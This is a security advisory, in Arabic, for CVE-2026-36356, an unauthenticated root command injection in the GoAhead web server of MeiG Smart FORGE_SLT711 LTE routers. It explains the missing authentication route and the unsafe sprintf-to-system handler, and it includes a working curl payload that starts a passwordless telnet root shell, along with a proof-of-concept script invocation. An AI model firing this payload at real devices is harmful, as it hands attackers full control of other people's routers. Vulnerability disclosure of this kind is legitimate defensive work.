
CVE-2026-36356: MeiG Smart FORGE_SLT711 GoAhead - حقن أوامر نظام التشغيل دون مصادقة (RCE بصلاحيات الجذر)
/action/SetRemoteAccessCfg)يعرض خادم الويب GoAhead المرفق مع أجهزة MeiG Smart FORGE_SLT711 4G LTE CPE نقطة نهاية HTTP غير مصادق عليها، /action/SetRemoteAccessCfg، تُدرج مدخلات JSON التي يتحكم بها المستخدم في أمر shell دون تعقيم. يكفي طلب POST واحد غير مصادق عليه لتنفيذ أوامر عشوائية بصلاحيات root.
سببان جذريان مستقلان: عدم وجود إدخال توجيه للمصادقة، وبناء غير آمن sprintf() → system() في المعالج.
MDM9607.LE.1.0-00110-STD.PROD-1 (برنامج المودم الثابت BC-MGST711H_1.1.1_EQ101)/usr/bin/goahead)الكود القابل للاستغلال موجود في معالج الإجراءات المخصص من MeiG، وليس في GoAhead الأصلي. من المحتمل أن تكون إصدارات البرامج الثابتة الأخرى من خط الإنتاج هذا متأثرة؛ لم يُتحقق من ذلك بشكل مستقل.
| الجهاز | Ortel 4G LTE CPE (الشركة المصنّعة الأصلية: MeiG FORGE_SLT711) |
| المعالج (SoC) | Qualcomm MDM9607, ARMv7 Cortex-A7 |
| النواة | Linux 3.18.48 |
| البرنامج الثابت | MDM9607.LE.1.0-00110-STD.PROD-1 |
يُدرج ملف تكوين التوجيه في GoAhead /var/www/route.txt المسارات المصادق عليها (الأسطر 64–150) باستخدام auth=basic. و/action/SetRemoteAccessCfg ليس موجودًا في هذه القائمة. يمر التوجيه إلى القاعدة الشاملة (catch-all) عند السطر 156:
route uri=/action handler=action
لا تحتوي القاعدة الشاملة على auth=basic، لذا يمكن لأي عميل HTTP استدعاء /action/SetRemoteAccessCfg دون بيانات اعتماد.
يُفكك المعالج الموجود عند الإزاحة 0x0003c6d8 في /usr/bin/goahead إلى:
char password_buf[64]; // 0x40 bytes on stack
char command_buf[256]; // 0x100 bytes on stack
websGetJsonItemValue(json, "password", STRING, password_buf, 0x40);
sprintf(command_buf, "echo root:\"%s\"|chpasswd", password_buf);
system(command_buf);
يتم إدراج حقل password داخل علامتي اقتباس مزدوجتين. يتم توسيع استبدالات $(...) وعلامات الاقتباس الخلفية `...` داخل علامات الاقتباس المزدوجة، لذا يتحكم المهاجم في أمر shell. تعمل system() بصلاحيات uid=0 لأن عملية GoAhead تعمل بصلاحيات root. لا يوجد أي تحقق من المدخلات، ولا تهريب (escaping)، ولا قائمة بيضاء للأحرف.
curl -s -X POST http://192.168.1.1/action/SetRemoteAccessCfg \
-H "Content-Type: application/json" \
-d '{"password":"$(telnetd -l /bin/sh -p 2323 &)"}'
# Reachable via: telnet 192.168.1.1 2323 (root shell, no password)

poc_rce.py (منشور إلى جانب هذا التقرير):
python3 poc_rce.py --ip 192.168.1.1 --cmd 'id > /tmp/out'
الاستغلال أعمى (blind) — لا يظهر مخرج الأمر في استجابة HTTP.
password: 64 بايت| التاريخ | 2026-02-21 |